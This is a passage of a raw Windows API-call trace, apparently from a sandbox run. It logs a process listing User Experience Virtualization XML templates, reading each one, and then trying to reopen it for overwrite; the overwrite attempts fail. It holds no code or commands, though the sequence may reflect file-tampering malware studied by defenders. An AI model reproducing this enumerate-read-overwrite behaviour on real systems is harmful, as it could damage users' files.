cFileName="MicrosoftOffice2013Win32.xml", cAlternateFileName="")) returned 1 [0146.298] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win64.xml", cAlternateFileName="")) returned 1 [0146.298] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin32.xml", cAlternateFileName="")) returned 1 [0146.298] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin64.xml", cAlternateFileName="")) returned 1 [0146.298] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win32.xml", cAlternateFileName="")) returned 1 [0146.298] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win64.xml", cAlternateFileName="")) returned 1 [0146.298] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin32.xml", cAlternateFileName="")) returned 1 [0146.299] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin64.xml", cAlternateFileName="")) returned 1 [0146.299] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin32.xml", cAlternateFileName="")) returned 1 [0146.299] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin64.xml", cAlternateFileName="")) returned 1 [0146.299] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win32.xml", cAlternateFileName="")) returned 1 [0146.299] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win64.xml", cAlternateFileName="")) returned 1 [0146.299] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftWordpad.xml", cAlternateFileName="")) returned 1 [0146.299] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkPrinters.xml", cAlternateFileName="")) returned 1 [0146.300] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingCredentialSettings.xml", cAlternateFileName="")) returned 1 [0146.300] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemeSettings2013.xml", cAlternateFileName="")) returned 1 [0146.300] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 1 [0146.300] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 0 [0146.300] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0146.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0146.300] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", lpFilePart=0x0) returned 0x47 [0146.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0146.301] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), fInfoLevelId=0x0, lpFileInformation=0x36cab58 | out: lpFileInformation=0x36cab58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771)) returned 1 [0146.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0146.301] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", lpFilePart=0x0) returned 0x47 [0146.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0146.301] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0146.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", lpFilePart=0x0) returned 0x4c [0146.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0146.303] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), fInfoLevelId=0x0, lpFileInformation=0x36cb318 | out: lpFileInformation=0x36cb318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d)) returned 1 [0146.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0146.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", lpFilePart=0x0) returned 0x4c [0146.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0146.304] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0146.462] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", lpFilePart=0x0) returned 0x51 [0146.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0146.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), fInfoLevelId=0x0, lpFileInformation=0x36cbb78 | out: lpFileInformation=0x36cbb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27)) returned 1 [0146.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0146.463] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", lpFilePart=0x0) returned 0x51 [0146.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0146.463] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.463] GetFileType (hFile=0x630) returned 0x1 [0146.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0146.463] GetFileType (hFile=0x630) returned 0x1 [0146.463] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0xc27 [0146.463] ReadFile (in: hFile=0x630, lpBuffer=0x38571b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x38571b0*, lpNumberOfBytesRead=0x10fa4d8*=0xc27, lpOverlapped=0x0) returned 1 [0146.463] CloseHandle (hObject=0x630) returned 1 [0146.490] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", lpFilePart=0x0) returned 0x51 [0146.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0146.490] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0146.493] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", lpFilePart=0x0) returned 0x57 [0146.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0146.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), fInfoLevelId=0x0, lpFileInformation=0x38d27b8 | out: lpFileInformation=0x38d27b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb)) returned 1 [0146.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0146.493] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", lpFilePart=0x0) returned 0x57 [0146.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0146.493] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.493] GetFileType (hFile=0x630) returned 0x1 [0146.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0146.494] GetFileType (hFile=0x630) returned 0x1 [0146.494] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x9eb [0146.494] ReadFile (in: hFile=0x630, lpBuffer=0x38d34f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x38d34f0*, lpNumberOfBytesRead=0x10fa4d8*=0x9eb, lpOverlapped=0x0) returned 1 [0146.494] CloseHandle (hObject=0x630) returned 1 [0146.505] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", lpFilePart=0x0) returned 0x57 [0146.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0146.505] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0146.507] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", lpFilePart=0x0) returned 0x45 [0146.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0146.507] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), fInfoLevelId=0x0, lpFileInformation=0x394dfc8 | out: lpFileInformation=0x394dfc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80)) returned 1 [0146.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0146.507] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", lpFilePart=0x0) returned 0x45 [0146.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0146.507] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.508] GetFileType (hFile=0x630) returned 0x1 [0146.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0146.508] GetFileType (hFile=0x630) returned 0x1 [0146.508] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0xf80 [0146.508] ReadFile (in: hFile=0x630, lpBuffer=0x394f210, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x394f210*, lpNumberOfBytesRead=0x10fa4d8*=0xf80, lpOverlapped=0x0) returned 1 [0146.508] CloseHandle (hObject=0x630) returned 1 [0147.737] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", lpFilePart=0x0) returned 0x45 [0147.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0147.738] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0147.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0147.740] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", lpFilePart=0x0) returned 0x4a [0147.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0147.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x3873e30 | out: lpFileInformation=0x3873e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31)) returned 1 [0147.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0147.740] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", lpFilePart=0x0) returned 0x4a [0147.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0147.740] CreateFileW (lpFileName="C:\\Users\\All 